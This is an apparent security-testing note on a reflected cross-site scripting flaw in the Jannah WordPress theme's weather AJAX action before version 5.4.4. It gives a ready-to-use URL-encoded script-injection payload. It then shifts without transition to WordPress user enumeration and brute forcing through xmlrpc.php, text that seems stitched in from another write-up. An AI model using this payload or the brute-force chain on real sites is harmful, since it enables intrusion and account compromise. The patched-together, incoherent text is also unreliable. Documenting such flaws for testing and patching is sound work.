The Jannah WordPress theme before 5.4.4 did not properly sanitize the options JSON parameter in its tie_get_user_weather AJAX action before outputting it back in the page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
Detection and Exploit
Replace <Your_WP-Site-here> to your WP-site <Your_WP-Site-here>/wp-admin/admin-ajax.php?action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D
This issue will only acceptable when target website is hiding their current users or they are not publically available. So attacker can use those user data for bruteforcing and other staff
You will see json data with user info in response
If you have xmlrpc.php and this User enumeration both presence there. Then you can chain them out by collecting username from wp-json and perform Bruteforce on them via xmlrpc.php. It will surely show some extra effort and increase the impact as well
Please do not depend on those issues at all. I saw people only looking for those issues and nothing else. Those are good to have a look while testing for other vulnerabilities and most of the time they work good for chaining with other low bugs.